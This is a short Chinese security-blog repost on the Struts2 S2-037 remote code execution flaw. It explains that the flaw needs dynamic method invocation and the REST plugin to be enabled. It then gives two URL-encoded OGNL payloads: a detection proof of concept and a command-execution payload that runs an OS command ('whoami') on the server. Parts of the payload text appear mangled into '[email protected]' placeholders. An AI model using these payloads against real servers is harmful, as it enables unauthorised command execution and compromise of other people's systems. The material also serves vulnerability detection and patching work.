Struts2-037

admin 2016年6月16日05:51:16评论29 views字数 1088阅读3分37秒阅读模式

from:http://zone.wooyun.org/content/27865

s2-037背景:

      漏洞建立在033的基础上,还是对method没有进行过滤导致的,但是033的payload的要做转变才能检测
      
      启用动态调用方法为true
  
      支持rest插件

rest介绍:
      使用http://localhost:8080/bee/action-name/1/XXX这种请求方式,其实XXX可以是任何合法的名字
  
      Struts2会查找XXX为名字的方法来调用,比如请求http://localhost:8080/bee/test/1/abc,那么TestAction的public String abc()就会被调用

检测poc:
     %28%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS%29%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23wr.println(%23parameters.content[0]),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789

命令执行:
    (%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=whoami


本文始发于微信公众号(关注安全技术):Struts2-037

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2016年6月16日05:51:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Struts2-037https://cn-sec.com/archives/502309.html

发表评论

匿名网友 填写信息